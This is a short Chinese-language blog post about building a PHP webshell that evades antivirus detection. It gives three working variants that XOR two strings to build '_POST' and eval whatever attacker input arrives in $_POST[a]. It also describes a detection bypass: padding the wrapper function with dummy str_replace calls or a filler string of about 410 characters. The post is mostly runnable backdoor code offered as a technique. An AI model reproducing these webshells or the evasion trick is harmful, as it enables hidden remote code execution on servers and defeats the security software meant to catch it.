免杀webshell过程中遇到的一些骚操作。

Aman
评论:0 阅读:1336
时间:2023-3-18 12:17:51 分类: 原创作品

有时候发现安全防护软件真的挺奇葩的。
之前写过一个免杀webshell,用的是assert,但php高版本已经不支持了。
所以打算写个基于eval的webshell。
由于不能用$$a 这种变量绕过。所以只能直接和杀毒软件硬刚eval。

eval(base64_decode(...));
这种格式已经用烂了。只要检测这种函数组合必报毒。

所以打算用eval(diy_fun(...));的形式绕过

写的过程中发现一个很奇怪的设定
举个例子
这种就报毒

<?php
function base64decrypt($str_s)
{
    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>

然后下面这种就不报毒。

<?php
function base64decrypt($str_s)
{
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");
    $str_s = str_replace("", "", "");

    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>

我本地测试了好多次,发现确实与函数中代码多少有关系。
然后继续测试是行数问题还是字符串数量

下面这个不报毒

<?php
function base64decrypt($str_s)
{
    $str_s = str_replace("1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111", "", "");
    return ($str_s);
}

$s = "6aman" ^ "i1\"2:";
$a = ${$s}[a];
eval(base64decrypt($a))
?>

不过问题不是这么简单,不仅仅是函数内容的数量。

比如我把变量$str_s 改成$a。就要在str_replace中的“1111...”的字符串中加上相应的数量。
后来发现该函数名的长短也会受到影响。
这个数量大概实在410 左右。

标签: 免杀 PHP

Powered by emlog pro © 主题Aman 豫ICP备16010520号-1